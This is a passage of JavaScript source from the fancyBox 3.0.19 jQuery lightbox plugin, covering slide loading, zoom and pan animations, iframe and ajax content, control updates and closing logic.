        self.$refs.container.show();

        self.$refs.bg.css('transition-duration', ( duration + 90 ) + 'ms').hide().show(0);

        self.$refs.container.addClass( 'fancybox-container--ready' );

      } else {
        self.$refs.slider.children().removeClass('fancybox-slide--current fancybox-slide--complete');
      }

      // Set position immediately on first opening
      self.update( true, false, firstRun ? 0 : duration, function() {
        self.afterMove();
      });

      self.loadSlide( self.current );

    },


    // Create new "slide" element
    // These are gallery items  that are actually added to DOM
    // =======================================================

    createSlide : function( pos ) {

      var self = this;
      var $slide;
      var index;

      index = pos % self.group.length;
      index = index < 0 ? self.group.length + index : index;

      if ( !self.slides[ pos ] && self.group[ index ] ) {

        $slide = $('<div class="fancybox-slide"></div>').appendTo( self.$refs.slider );

        self.slides[ pos ] = $.extend( true, {}, self.group[ index ], {
          pos      : pos,
          $slide   : $slide,
          isMoved  : false,
          isLoaded : false
        });

      }

    },

    zoomInOut : function( type, duration, callback ) {

      var self     = this;
      var current  = self.current;
      var $what    = current.$placeholder;
      var opacity  = current.opts.opacity;
      var $thumb   = current.opts.$thumb;
      var thumbPos = $thumb ? $thumb.offset() : 0;
      var slidePos = current.$slide.offset();
      var props;
      var start;
      var end;

      if ( !$what || !thumbPos || !isElementInViewport( $thumb ) ) {
        return false;
      }

      $.fancybox.stop( $what );

      self.isAnimating = true;

      props = {
        top    : thumbPos.top  - slidePos.top  + parseFloat( $thumb.css( "border-top-width" ) || 0 ),
        left   : thumbPos.left - slidePos.left + parseFloat( $thumb.css( "border-left-width" ) || 0 ),
        width  : $thumb.width(),
        height : $thumb.height(),
        scaleX : 1,
        scaleY : 1
      };

      // Check if we need to animate opacity
      if ( opacity == 'auto' ) {
        opacity = Math.abs( current.width / current.height - props.width / props.height ) > 0.1;
      }

      if ( type === 'In' ) {

        start = props;
        end   = self.getFitPos( current );

        end.scaleX = end.width  / start.width;
        end.scaleY = end.height / start.height;

        if ( opacity ) {
          start.opacity = 0.1;
          end.opacity   = 1;
        }

      } else {

        start = $.fancybox.getTranslate( $what );
        end   = props;

        // Switch to thumbnail image to improve animation performance
        if ( current.$ghost ) {
          current.$ghost.show();

          if ( current.$image ) {
            current.$image.remove();
          }
        }

        start.scaleX = start.width  / end.width;
        start.scaleY = start.height / end.height;

        start.width  = end.width;
        start.height = end.height;

        if ( opacity ) {
          end.opacity = 0;
        }

      }

      self.updateCursor( end.width, end.height );

      // There is no need to animate width/height
      delete end.width;
      delete end.height;

      $.fancybox.setTranslate( $what, start );

      $what.show();

      self.trigger( 'beforeZoom' + type );

      setTimeout(function() {

        $what.css( 'transition', 'all ' + duration + 'ms' );

        $.fancybox.setTranslate( $what, end );

        setTimeout(function() {

          $what.css( 'transition', 'none' );

          self.trigger( 'afterZoom' + type );

          callback();

          self.isAnimating = false;

        }, duration + 20 );

      }, 70);

      return true;

    },

    // Start "zoom-in" animation if possible
    // =====================================

    zoomIn : function() {

      var self     = this;
      var current  = self.current;
      var $what    = current.$placeholder;

      self.allowZoomIn = false;
      self.isOpening   = true;

      return self.zoomInOut( 'In', current.opts.speed, function() {

        var reset = $.fancybox.getTranslate( $what );

        reset.scaleX = 1;
        reset.scaleY = 1;

        // Reset scalex/scaleY values; this helps for perfomance
        $.fancybox.setTranslate( $what, reset );

        self.isOpening = false;

        self.update( false, true, 0 );

        if ( current.$ghost ) {
          self.setBigImage( current );
        }

      });

    },


    // Start "zoom-out" animation if possible
    // ======================================

    zoomOut : function( callback ) {

      var self     = this;
      var current  = self.current;

      if ( self.zoomInOut( 'Out', current.opts.speed, callback ) ) {

        self.$refs.bg.css('transition-duration', current.opts.speed + 'ms');

        this.$refs.container.removeClass( 'fancybox-container--ready' );

        return true;
      }

      return false;

    },


    // Check if image dimensions exceed parent element
    // ===============================================

    canPan : function() {

      var self = this;

      var current = self.current;
      var $what   = current.$placeholder;

      var rez = false;

      if ( $what ) {
        rez = self.getFitPos( current );
        rez = Math.abs( $what.width() - rez.width ) > 1  || Math.abs( $what.height() - rez.height ) > 1;

      }

      return rez;

    },


    // Check if current image dimensions are smaller than actual
    // =========================================================

    isScaledDown : function() {

      var self = this;

      var current = self.current;
      var $what   = current.$placeholder;

      var rez = false;

      if ( $what ) {
        rez = $.fancybox.getTranslate( $what );
        rez = rez.width < current.width || rez.height < current.height;
      }

      return rez;

    },


    // Scale image to the actual size of the image
    // ===========================================

    scaleToActual : function( x, y, duration ) {

      var self = this;

      var current = self.current;
      var $what   = current.$placeholder;

      var imgPos, posX, posY, scaleX, scaleY;

      var canvasWidth  = parseInt( current.$slide.width(), 10 );
      var canvasHeight = parseInt( current.$slide.height(), 10 );

      var newImgWidth  = current.width;
      var newImgHeight = current.height;

      if ( !$what ) {
        return;
      }

      self.isAnimating = true;

      x = x === undefined ? canvasWidth  * 0.5  : x;
      y = y === undefined ? canvasHeight * 0.5  : y;

      imgPos = $.fancybox.getTranslate( $what );

      scaleX  = newImgWidth  / imgPos.width;
      scaleY  = newImgHeight / imgPos.height;

      // Get center position for original image
      posX = ( canvasWidth * 0.5  - newImgWidth * 0.5 );
      posY = ( canvasHeight * 0.5 - newImgHeight * 0.5 );

      // Make sure image does not move away from edges

      if ( newImgWidth > canvasWidth ) {
        posX = imgPos.left * scaleX - ( ( x * scaleX ) - x );

        if ( posX > 0 ) {
          posX = 0;
        }

        if ( posX <  canvasWidth - newImgWidth ) {
          posX = canvasWidth - newImgWidth;
        }
      }

      if ( newImgHeight > canvasHeight) {
        posY = imgPos.top  * scaleY - ( ( y * scaleY ) - y );

        if ( posY > 0 ) {
          posY = 0;
        }

        if ( posY <  canvasHeight - newImgHeight ) {
          posY = canvasHeight - newImgHeight;
        }
      }

      self.updateCursor( newImgWidth, newImgHeight );

      $.fancybox.animate( $what, {
        top    : imgPos.top,
        left   : imgPos.left,
        width  : newImgWidth,
        height : newImgHeight,
        scaleX : imgPos.width / newImgWidth,
        scaleY : imgPos.height / newImgHeight
      }, {
        top    : posY,
        left   : posX,
        scaleX : 1,
        scaleY : 1
      }, duration || current.opts.speed, function() {
        self.isAnimating = false;

      });

    },


    // Scale image to fit inside parent element
    // ========================================

    scaleToFit : function( duration ) {

      var self = this;

      var current = self.current;
      var $what   = current.$placeholder;
      var end;

      if ( !$what ) {
        return;
      }

      self.isAnimating = true;

      end = self.getFitPos( current );

      self.updateCursor( end.width, end.height );

      $.fancybox.animate( $what, null, {
        top    : end.top,
        left   : end.left,
        scaleX : end.width  / $what.width(),
        scaleY : end.height / $what.height()
      }, duration || current.opts.speed, function() {
        self.isAnimating = false;

      });

    },

    // Calculate image size to fit inside viewport
    // ===========================================

    getFitPos : function( slide ) {
      var $what = slide.$placeholder || slide.$content;

      var imgWidth  = slide.width;
      var imgHeight = slide.height;

      var margin = slide.opts.margin;

      var canvasWidth, canvasHeight, minRatio, top, left, width, height;

      if ( !$what || !$what.length || ( !imgWidth && !imgHeight) ) {
        return false;
      }

      // Convert "margin to CSS style: [ top, right, bottom, left ]
      if ( $.type( margin ) === "number" ) {
        margin = [ margin, margin ];
      }

      if ( margin.length == 2 ) {
        margin = [ margin[0], margin[1], margin[0], margin[1] ];
      }

      if ( $W.width() < 800 ) {
        margin = [0, 0, 0, 0];
      }

      canvasWidth  = parseInt( slide.$slide.width(), 10 )  - ( margin[ 1 ] + margin[ 3 ] );
      canvasHeight = parseInt( slide.$slide.height(), 10 ) - ( margin[ 0 ] + margin[ 2 ] );

      minRatio = Math.min(1, canvasWidth / imgWidth, canvasHeight / imgHeight );

      // Use floor rounding to make sure it really fits

      width  = Math.floor( minRatio * imgWidth );
      height = Math.floor( minRatio * imgHeight );

      top  = Math.floor( ( canvasHeight - height ) * 0.5 ) + margin[ 0 ];
      left = Math.floor( ( canvasWidth  - width )  * 0.5 ) + margin[ 3 ];

      return {
        top    : top,
        left   : left,
        width  : width,
        height : height
      };

    },

    // Move slider to current position
    // Update all slides (and their content)
    // =====================================

    update : function( andSlides, andContent, duration, callback ) {

      var self = this;

      var leftValue = ( self.current.pos * Math.floor( self.current.$slide.width() ) * -1 ) - ( self.current.pos * self.current.opts.gutter ) ;

      if ( self.isOpening === true ) {
        return;
      }

      duration = parseInt( duration, 10 ) || 0;

      $.fancybox.stop( self.$refs.slider );

      if ( andSlides === false ) {
        self.updateSlide( self.current, andContent );

      } else {

        $.each( self.slides, function( key, slide ) {
          self.updateSlide( slide, andContent );
        });

      }

      if ( duration ) {

        $.fancybox.animate( self.$refs.slider, null, {
          top  : 0,
          left : leftValue
        }, duration, function() {
          self.current.isMoved = true;

          if ( $.type( callback ) === 'function' ) {
            callback.apply( self );
          }

        });

      } else {

        $.fancybox.setTranslate( self.$refs.slider, { left : leftValue } );

        if ( $.type( callback ) === 'function' ) {
          callback.apply( self );
        }

      }

      self.updateCursor();

    },


    // Update slide position and scale content to fit
    // ==============================================

    updateSlide : function( slide, andContent ) {

      var self  = this;
      var $what = slide.$placeholder;

      slide = slide || self.current;

      if ( !slide || self.isClosing ) {
        return;
      }

      $.fancybox.setTranslate( slide.$slide, { left : ( slide.pos * Math.floor( slide.$slide.width() )  ) + ( slide.pos * slide.opts.gutter) } );

      if ( andContent !== false && $what ) {
        $.fancybox.setTranslate( $what, self.getFitPos( slide ) );
      }

      slide.$slide.trigger( 'refresh' );

      self.trigger( 'onUpdate', slide );
    },

    // Update cursor style depending if content can be zoomed
    // ======================================================

    updateCursor : function( nextWidth, nextHeight ) {

      var self = this;
      var canScale;

      var $container = self.$refs.container.removeClass('fancybox-controls--canzoomIn fancybox-controls--canzoomOut fancybox-controls--canGrab');

      if ( self.isClosing || !self.opts.touch ) {
        return;
      }

      if ( nextWidth !== undefined && nextHeight !== undefined ) {
        canScale = nextWidth < self.current.width && nextHeight < self.current.height;

      } else {
        canScale = self.isScaledDown();
      }

      if ( canScale ) {
        $container.addClass('fancybox-controls--canzoomIn');

      } else if ( self.group.length < 2 ) {
        $container.addClass('fancybox-controls--canzoomOut');

      } else {
        $container.addClass('fancybox-controls--canGrab');
      }

    },

    // Load content into the slide
    // ===========================

    loadSlide : function( slide ) {

      var self = this, type, $slide;
      var ajaxLoad;

      if ( !slide ) {
        return false;
      }

      if ( slide.isLoading ) {
        return;
      }

      self.trigger( 'beforeLoad', slide );

      type	= slide.type;
      $slide	= slide.$slide;

      $slide
        .unbind( 'refresh' )
        .trigger( 'onReset' )
        .addClass( 'fancybox-slide--' + ( type || 'unknown' ) )
        .addClass( slide.opts.slideClass );

      slide.isLoading = true;

      // Create content depending on the type

      switch ( type ) {

        case 'image':

          self.setImage( slide );

          break;

        case 'iframe':

          self.setIframe( slide );

          break;

        case 'html':

          self.setContent( slide, slide.content );

          break;

        case 'inline':

          if ( $( slide.src ).length ) {
            self.setContent( slide, $( slide.src ) );

          } else {
            self.setError( slide );

          }

          break;

        case 'ajax':

          self.showLoading( slide );

          ajaxLoad = $.ajax( $.extend( {}, slide.opts.ajax.settings, {

            url: slide.src,

            success: function ( data, textStatus ) {

              if ( textStatus === 'success' ) {
                self.setContent( slide, data );

              }

            },

            error: function ( jqXHR, textStatus ) {

              if ( jqXHR && textStatus !== 'abort' ) {
                self.setError( slide );

              }

            }

          }));

          $slide.one( 'onReset', function () {

            ajaxLoad.abort();

          });

          break;

        default:

          self.setError( slide );

          break;

      }

      return true;

    },


    // Use thumbnail image, if possible
    // ================================

    setImage : function( slide ) {

      var self = this;

      if ( slide.isLoaded && !slide.hasError ) {
        self.afterLoad( slide );

        return;
      }

      slide.$placeholder = $('<div class="fancybox-placeholder"></div>').hide().prependTo( slide.$slide );

      if ( slide.opts.preload !== false && slide.opts.width && slide.opts.height && ( slide.opts.thumb || slide.opts.$thumb ) ) {

        slide.width  = slide.opts.width;
        slide.height = slide.opts.height;

        slide.$ghost = $('<img />')
          .addClass( 'fancybox-image' )
          .one('load error', function() {

            if ( self.isClosing ) {
              return;
            }

            $( this ).appendTo( slide.$placeholder );

            // Start preloading full size image
            $('<img/>')[0].src = slide.src;

            // Check if we can perform zoom-in animation
            if ( !self.allowZoomIn || !( slide.index === self.currIndex && self.zoomIn() ) ) {

              self.isOpening = false;

              self.updateSlide( slide, true );

              slide.$placeholder.show();

              self.setBigImage( slide );

            }

          })
          .attr( 'src', slide.opts.thumb || slide.opts.$thumb.attr( 'src' ) );

      } else {

        self.setBigImage( slide );

      }

    },


    // Create full-size image
    // ======================

    setBigImage : function ( slide ) {

      var self = this;
      var $img = $('<img />');

      if ( slide.opts.image.protect ) {
        $('<div class="fancybox-spaceball"></div>').appendTo( slide.$placeholder );
      }

      $img.one('error', function() {

        self.setError( slide );

      }).one('load', function() {

        if ( self.isClosing ) {
          return;
        }

        slide.$image = $img.addClass('fancybox-image').appendTo( slide.$placeholder );

        slide.width  = this.naturalWidth;
        slide.height = this.naturalHeight;

        self.afterLoad( slide );

        if ( slide.$ghost ) {

          slide.timouts = setTimeout(function() {
            slide.$ghost.hide();
          }, 300);

        }

      }).attr('src', slide.src);

      if ( $img[0].complete ) {
        $img.trigger('load');

      } else if( $img[0].error ) {
        $img.trigger('error');

      } else {

        slide.timouts = setTimeout(function() {

          if ( !$img[0].complete ) {
            self.showLoading( slide );
          }

        }, 150);

      }

    },

    // Simply show image holder without animation
    // It has been hidden initially to avoid flickering
    // ================================================

    revealImage : function( slide ) {

      if ( slide.$placeholder ) {
        slide.$placeholder.show();

        if ( slide.index === this.currIndex ) {
          this.updateCursor();
        }
      }

    },

    // Create iframe wrapper, iframe and bindings
    // ==========================================

    setIframe : function( slide ) {
      var self	= this,
        opts    = slide.opts.iframe,
        $slide	= slide.$slide,
        $iframe;

      slide.$content = $('<div class="fancybox-content"></div>')
        .css( opts.css )
        .appendTo( $slide );

      $iframe = $( opts.tpl.replace(/\{rnd\}/g, new Date().getTime()) )
        .attr('scrolling', $.fancybox.isTouch ? 'auto' : opts.scrolling)
        .appendTo( slide.$content );

      if ( opts.preload ) {
        slide.$content.addClass( 'fancybox-tmp' );

        self.showLoading( slide );

        // Unfortunately, it is not always possible to determine if iframe is successfully loaded
        // (due to browser security policy)

        $iframe.on('load.fb error.fb', function(e) {
          this.isReady = 1;

          slide.$slide.trigger( 'refresh' );

          self.afterLoad( slide );

        });

        // Recalculate iframe content size

        $slide.on('refresh.fb', function() {
          var $wrap = slide.$content,
            $contents,
            $body,
            scrollWidth,
            frameWidth,
            frameHeight;

          if ( $iframe[0].isReady !== 1 ) {
            return;
          }

          // Check if content is accessible,
          // it will fail if frame is not with the same origin

          try {
            $contents	= $iframe.contents();
            $body		= $contents.find('body');

          } catch (ignore) {}

          // Calculate dimensions for the wrapper

          if ( $body && $body.length && !( opts.css.width !== undefined && opts.css.height !== undefined ) ) {

            scrollWidth = $iframe[0].contentWindow.document.documentElement.scrollWidth;

            frameWidth	= Math.ceil( $body.outerWidth(true) + ( $wrap.width() - scrollWidth ) );
            frameHeight	= Math.ceil( $body.outerHeight(true) );

            // Resize wrapper to fit iframe content

            $wrap.css({
              'width'  : opts.css.width  === undefined ? frameWidth  + ( $wrap.outerWidth()  - $wrap.innerWidth() )  : opts.css.width,
              'height' : opts.css.height === undefined ? frameHeight + ( $wrap.outerHeight() - $wrap.innerHeight() ) : opts.css.height
            });

          }

          $wrap.removeClass( 'fancybox-tmp' );

        });

      } else {

        this.afterLoad( slide );

      }

      $iframe.attr( 'src', slide.src );

      if ( slide.opts.smallBtn ) {
        slide.$content.prepend( slide.opts.closeTpl );
      }

      // Remove iframe if closing or changing gallery item

      $slide.one('onReset', function () {

        // This helps IE not to throw errors when closing

        try {

          $(this).find('iframe').hide().attr('src', '//about:blank');

        } catch (ignore) {}

        $(this).empty();

      });

    },


    // Wrap and append content to the slide
    // ======================================

    setContent : function ( slide, content ) {

      var self = this;

      if ( self.isClosing ) {
        return;
      }

      self.hideLoading( slide );

      slide.$slide.empty();

      if ( isQuery( content ) && content.parent().length ) {

        // If it is a jQuery object, then it will be moved to the box.
        // The placeholder is created so we will know where to put it back.
        // If user is navigating gallery fast, then the content might be already moved to the box

        if ( content.data( 'placeholder' ) ) {
          content.parents('.fancybox-slide').trigger( 'onReset' );
        }

        content.data({'placeholder' : $('<div></div>' ).hide().insertAfter( content ) }).css('display', 'inline-block');

      } else {

        if ( $.type( content ) === 'string' ) {

          content = $('<div>').append( content ).contents();

          if ( content[0].nodeType === 3 ) {
            content = $('<div>').html( content );
          }

        }

        if ( slide.opts.selector ) {
          content = $('<div>').html( content ).find( slide.opts.selector );
        }

      }

      slide.$slide.one('onReset', function () {
        var placeholder = isQuery( content ) ? content.data('placeholder') : 0;

        if ( placeholder ) {
          content.hide().replaceAll( placeholder );

          content.data( 'placeholder', null );
        }

        $(this).empty();

        slide.isLoaded = false;

      });

      slide.$content = $( content ).appendTo( slide.$slide );

      if ( slide.opts.smallBtn === true ) {
        slide.$content.find( '.fancybox-close-small' ).remove().end().eq(0).append( slide.opts.closeTpl );
      }

      this.afterLoad( slide );

    },

    // Display error message
    // =====================

    setError : function ( slide ) {

      slide.hasError = true;

      this.setContent( slide, slide.opts.errorTpl );

    },


    showLoading : function( slide ) {
      var self = this;

      slide = slide || self.current;

      if ( slide && !slide.$spinner ) {
        slide.$spinner = $( self.opts.spinnerTpl ).appendTo( slide.$slide );
      }

    },

    hideLoading : function( slide ) {

      var self = this;

      slide = slide || self.current;

      if ( slide && slide.$spinner ) {
        slide.$spinner.remove();

        delete slide.$spinner;
      }

    },

    afterMove : function() {

      var self    = this;
      var current = self.current;

      if ( !current ) {
        return;
      }

      current.isMoved = true;

      current.$slide.siblings().trigger( 'onReset' );

      // Remove unnecessary slides
      $.each( self.slides, function( key, slide ) {

        // Leave current and neighbouring slides
        if ( slide.pos < self.currPos - 1 || slide.pos > self.currPos + 1 ) {

          slide.$slide.remove();

          delete self.slides[ key ];
        }

      });

      self.trigger( 'afterMove' );

      if ( current.isLoaded ) {
        self.complete();
      }

    },

    // Adjustments after slide has been loaded
    // =======================================

    afterLoad : function( slide ) {

      var self = this;

      if ( self.isClosing ) {
        return;
      }

      slide.isLoading = false;
      slide.isLoaded  = true;

      self.trigger( 'afterLoad', slide );

      self.hideLoading( slide );

      // Resize content to fit inside slide
      // Do not update in case we have $ghost element - user might have already zoomed/swiped
      if ( !slide.$ghost ) {
        self.updateSlide( slide, true );
      }

      if ( slide.index === self.currIndex ) {

        if ( slide.isMoved ) {
          self.complete();

        } else {
          self.revealImage( slide );
        }

        // Load next and previous image if needed
        if ( self.slides[ self.currPos + 1 ] && self.slides[ self.currPos + 1 ].type === 'image' ) {
          self.loadSlide( self.slides[ self.currPos + 1 ] );
        }

        if ( self.slides[ self.currPos - 1 ] && self.slides[ self.currPos - 1 ].type === 'image' ) {
          self.loadSlide( self.slides[ self.currPos - 1 ] );
        }

      } else {
        self.revealImage( slide );
      }

    },

    // Final adjustments after current gallery item is moved to position
    // and it`s content is loaded
    // ==================================================================

    complete : function() {

      var self   = this;
      var curent = self.current;

      curent.isComplete = true;

      self.trigger( 'onComplete' );

      if ( !(self.allowZoomIn && self.zoomIn() ) ) {

        self.isOpening = false;

        self.revealImage( curent );
      }

      curent.$slide.addClass('fancybox-slide--complete');

      if ( self.opts.focus ) {
        self.focus();
      }

    },


    // Try to find and focus on the first focusable element
    // ====================================================

    focus : function() {

      var $el = this.current && this.current.isComplete ? this.current.$slide.find('button,:input,[tabindex],a:not(".disabled")').filter(':visible:first') : null;

      if ( !$el || !$el.length ) {
        $el = this.$refs.container;

      }

      $el.focus();

      // Scroll position of wrapper element sometimes changes after focusing (IE)
      this.$refs.slider_wrap.scrollLeft(0);

      // And the same goes for slide element
      if ( this.current ) {
        this.current.$slide.scrollTop(0);
      }
    },


    // Activates current instance - brings container to the front and enables keyboard,
    // notifies other instances about deactivating
    // =================================================================================

    activate : function () {
      var self = this;

      // Deactivate all instances

      $( '.fancybox-container' ).each(function () {

        var instance = $(this).data( 'FancyBox' );

        // Skip self and closing instances

        if (instance && instance.uid !== self.uid && !instance.isClosing) {
          instance.trigger( 'onDeactivate' );
        }

      });

      if ( self.current ) {

        if ( self.$refs.container.index() > 0 ) {
          self.$refs.container.prependTo( document.body );
        }

        self.updateControls();
      }

      self.trigger( 'onActivate' );

      self.addEvents();

    },


    // Start closing procedure
    // This will start "zoom-out" animation if needed and clean everything up afterwards
    // =================================================================================

    close : function( e ) {

      var self    = this;
      var current = self.current;

      var done = $.proxy(function() {

        self.cleanUp( e );  // Now "this" is again our instance

      }, this);

      if ( self.isAnimating || self.isClosing ) {
        return false;
      }

      self.isClosing = true;

      if ( current.timouts ) {
        clearTimeout( current.timouts );
      }

      if ( e !== true) {
        $.fancybox.stop( self.$refs.slider );
      }

      self.$refs.container
        .removeClass('fancybox-container--active')
        .addClass('fancybox-container--closing');

      current.$slide
        .removeClass('fancybox-slide--complete')
        .siblings()
        .remove();


      if ( !current.isMoved ) {
        current.$slide.css('overflow', 'visible');
      }

      // Remove all events
      // If there are multiple instances, they will be set again by "activate" method

      self.removeEvents();

      // Clean up

      self.hideLoading( current );

      self.hideControls();

      self.updateCursor();

      self.trigger( 'beforeClose', current, e );

      if ( e === true) {
        setTimeout( done, current.opts.speed );

        this.$refs.container.removeClass( 'fancybox-container--ready' );

      } else if ( !self.zoomOut( done ) ) {

        $.fancybox.animate( self.$refs.container, null, { opacity : 0 }, current.opts.speed, "easeInSine", done );

      }

    },


    // Final adjustments after removing the instance
    // =============================================

    cleanUp : function( e ) {
      var self = this,
        instance;

      self.$refs.slider.children().trigger( 'onReset' );

      self.$refs.container.empty().remove();

      self.current = null;

      self.trigger( 'afterClose', e);

      // Check if there are other instances

      instance = $.fancybox.getInstance();

      if ( instance ) {
        instance.activate();

      } else {

        $( 'body' ).removeClass( 'fancybox-enabled' );

        $( '#fancybox-noscroll' ).remove();

      }

      // Place back focus
      if ( self.$lastFocus ) {
        self.$lastFocus.focus();
      }

      $W.scrollTop( self.scrollTop ).scrollLeft( self.scrollLeft );

    },


    // Call callback and trigger an event
    // ==================================

    trigger : function( name, slide ) {
      var args  = Array.prototype.slice.call(arguments, 1),
        self  = this,
        obj   = slide && slide.opts ? slide : self.current;

      if ( obj ) {
        args.unshift( obj );

      } else {
        obj = self;
      }

      args.unshift( self );

      if ( $.isFunction( obj.opts[ name ] ) ) {
        obj.opts[ name ].apply( obj, args );
      }

      self.$refs.container.trigger( name + '.fb', args);

    },


    // Toggle toolbar and caption
    // ==========================

    toggleControls : function( force ) {

      if ( this.isHiddenControls ) {
        this.updateControls( force );

      } else {
        this.hideControls();
      }


    },


    // Hide toolbar and caption
    // ========================

    hideControls : function () {

      this.isHiddenControls = true;

      this.$refs.container.removeClass('fancybox-show-controls');

      this.$refs.container.removeClass('fancybox-show-caption');

    },


    // Update infobar values, navigation button states and reveal caption
    // ==================================================================

    updateControls : function ( force ) {

      var self = this;

      var $container = self.$refs.container;
      var $caption   = self.$refs.caption;

      // Toggle infobar and buttons

      var current  = self.current;
      var index    = current.index;
      var opts     = current.opts;
      var caption  = opts.caption;

      if ( this.isHiddenControls && force !== true ) {
        return;
      }

      this.isHiddenControls = false;

      self.$refs.container.addClass('fancybox-show-controls');

      $container
        .toggleClass('fancybox-show-infobar', !!opts.infobar && self.group.length > 1)
        .toggleClass('fancybox-show-buttons', !!opts.buttons )
        .toggleClass('fancybox-is-modal',     !!opts.modal );

      $('.fancybox-button--left',  $container).toggleClass( 'fancybox-button--disabled', (!opts.loop && index <= 0 ) );
      $('.fancybox-button--right', $container).toggleClass( 'fancybox-button--disabled', (!opts.loop && index >= self.group.length - 1) );

      $('.fancybox-button--play',  $container).toggle( !!( opts.slideShow && self.group.length > 1) );
      $('.fancybox-button--close', $container).toggle( !!opts.closeBtn );

      // Update infobar values

      $('.js-fancybox-count', $container).html( self.group.length );
      $('.js-fancybox-index', $container).html( index + 1 );

      // Recalculate content dimensions
      current.$slide.trigger( 'refresh' );

      // Reveal or create new caption
      if ( $caption ) {
        $caption.empty();
      }

      if ( caption && caption.length ) {
        $caption.html( caption );

        this.$refs.container.addClass( 'fancybox-show-caption ');

        self.$caption = $caption;

      } else {
        this.$refs.container.removeClass( 'fancybox-show-caption' );

      }

    }

  });


  $.fancybox = {

    version  : "3.0.19",
    defaults : defaults,


    // Get current instance and execute a command.
    //
    // Examples of usage:
    //
    //   $instance = $.fancybox.getInstance();
    //   $.fancybox.getInstance().jumpTo( 1 );
    //   $.fancybox.getInstance( 'jumpTo', 1 );
    //   $.fancybox.getInstance( function() {
    //       console.info( this.currIndex );
    //   });
    // ======================================================

    getInstance : function ( command ) {
      var instance = $('.fancybox-container:not(".fancybox-container--closing"):first').data( 'FancyBox' );
      var args     = Array.prototype.slice.call(arguments, 1);

      if ( instance instanceof FancyBox ) {

        if ( $.type( command ) === 'string' ) {
          instance[ command ].apply( instance, args );

        } else if ( $.type( command ) === 'function' ) {
          command.apply( instance, args );

        }

        return instance;
      }

      return false;

    },


    // Create new instance
    // ===================

    open : function ( items, opts, index ) {
      return new FancyBox( items, opts, index );
    },


    // Close current or all instances
    // ==============================

    close : function ( all ) {
      var instance = this.getInstance();

      if ( instance ) {
        instance.close();

        // Try to find and close next instance

        if ( all === true ) {
          this.close();
        }
      }

    },


    // Test for the existence of touch events in the browser
    // Limit to mobile devices
    // ====================================================

    isTouch : document.createTouch !== undefined && /Android|webOS|iPhone|iPad|iPod|BlackBerry/i.test(navigator.userAgent),


    // Detect if 'translate3d' support is available
    // ============================================

    use3d : (function() {
      var div = document.createElement('div');

      return window.getComputedStyle( div ).getPropertyValue('transform') && !(document.documentMode && document.documentMode <= 11);
    }()),


    // Helper function to get current visual state of an element
    // returns array[ top, left, horizontal-scale, vertical-scale, opacity ]
    // =====================================================================

    getTranslate : function( $el ) {
      var position, matrix;

      if ( !$el || !$el.length ) {
        return false;
      }

      position = $el.get( 0 ).getBoundingClientRect();
      matrix   = $el.eq( 0 ).css('transform');

      if ( matrix && matrix.indexOf( 'matrix' ) !== -1 ) {
        matrix = matrix.split('(')[1];
        matrix = matrix.split(')')[0];
        matrix = matrix.split(',');
      } else {
        matrix = [];
      }

      if ( matrix.length ) {

        // If IE
        if ( matrix.length > 10 ) {
          matrix = [ matrix[13], matrix[12], matrix[0], matrix[5] ];

        } else {
          matrix = [ matrix[5], matrix[4], matrix[0], matrix[3]];
        }

        matrix = matrix.map(parseFloat);

      } else {
        matrix = [ 0, 0, 1, 1 ];
      }

      return {
        top     : matrix[ 0 ],
        left    : matrix[ 1 ],
        scaleX  : matrix[ 2 ],
        scaleY  : matrix[ 3 ],
        opacity : parseFloat( $el.css('opacity') ),
        width   : position.width,
        height  : position.height
      };

    },


    // Shortcut for setting "translate3d" properties for element
    // Can set be used to set opacity, too
    // ========================================================

    setTranslate : function( $el, props ) {
      var str  = '';
      var css  = {};

      if ( !$el || !props ) {
        return;
      }

      if ( props.left !== undefined || props.top !== undefined ) {

        str = ( props.left === undefined ? $el.position().top : props.left )  + 'px, ' + ( props.top === undefined ? $el.position().top : props.top ) + 'px';

        if ( this.use3d ) {
          str = 'translate3d(' + str + ', 0px)';

        } else {
          str = 'translate(' + str + ')';
        }

      }

      if ( props.scaleX !== undefined && props.scaleY !== undefined ) {
        str = (str.length ? str + ' ' : '') + 'scale(' + props.scaleX + ', ' + props.scaleY + ')';
      }

      if ( str.length ) {
        css.transform = str;
      }

      if ( props.opacity !== undefined ) {
        css.opacity = props.opacity;
      }

      if ( props.width !== undefined ) {
        css.width = props.width;
      }

      if ( props.height !== undefined ) {
        css.height = props.height;
      }

      return $el.css( css );

    },


    // Common easings for entrances and exits
    // t: current time, b: begInnIng value, c: change In value, d: duration
    // ====================================================================

    easing : {
      easeOutCubic : function (t, b, c, d) {
        return c * ((t=t/d-1)*t*t + 1) + b;
      },
      easeInCubic : function (t, b, c, d) {
        return c * (t/=d)*t*t + b;
      },
      easeOutSine : function (t, b, c, d) {
        return c * Math.sin(t/d * (Math.PI/2)) + b;
      },
      easeInSine : function (t, b, c, d) {
        return -c * Math.cos(t/d * (Math.PI/2)) + c + b;
      }
    },


    // Stop fancyBox animation
    // =======================

    stop : function( $el ) {

      $el.removeData( 'animateID' );

    },

    // Animate element using "translate3d"
    // Usage:
    // animate( element, start properties, end properties, duration, easing, callback )
    // or
    // animate( element, start properties, end properties, duration, callback )
    // =================================================================================

    animate : function( $el, from, to, duration, easing, done ) {

      var self = this;

      var lastTime  = null;
      var animTime  = 0;

      var curr;
      var diff;
      var id;

      var frame = function ( timestamp ) {
        curr = [];
        diff = 0;

        // If "stop" method has been called on this element, then just stop
        if ( !$el.length || $el.data( 'animateID' ) !== id ) {
          return;
        }

        timestamp = timestamp || Date.now();

        if ( lastTime ) {
          diff = timestamp - lastTime;
        }

        lastTime = timestamp;
        animTime += diff;

        // Are we done?
        if ( animTime >= duration ) {

          if ( to.scaleX !== undefined && to.scaleY !== undefined && from.width !== undefined && from.height !== undefined ) {
            to.width  = from.width  * to.scaleX;
            to.height = from.height * to.scaleY;

            to.scaleX = 1;
            to.scaleY = 1;
          }

          self.setTranslate( $el, to );

          done();

          return;
        }

        for ( var prop in to ) {

          if ( to.hasOwnProperty( prop ) && from[ prop ] !== undefined ) {

            if ( from[ prop ] == to[ prop ] ) {
              curr[ prop ] = to[ prop ];

            } else {
              curr[ prop ] = self.easing[ easing ]( animTime, from[ prop ], to[ prop ] - from[ prop ], duration );
            }

          }
        }

        self.setTranslate( $el, curr );

        requestAFrame( frame );
      };

      self.animateID = id = self.animateID === undefined ? 1 : self.animateID + 1;

      $el.data( 'animateID', id );

      if ( done === undefined && $.type(easing) == 'function' ) {
        done   = easing;
        easing = undefined;
      }

      if ( !easing ) {
        easing = "easeOutCubic";
      }

      done = done || $.noop;

      if ( !duration ) {
        this.setTranslate( $el, to );

        done();

        return;
      }

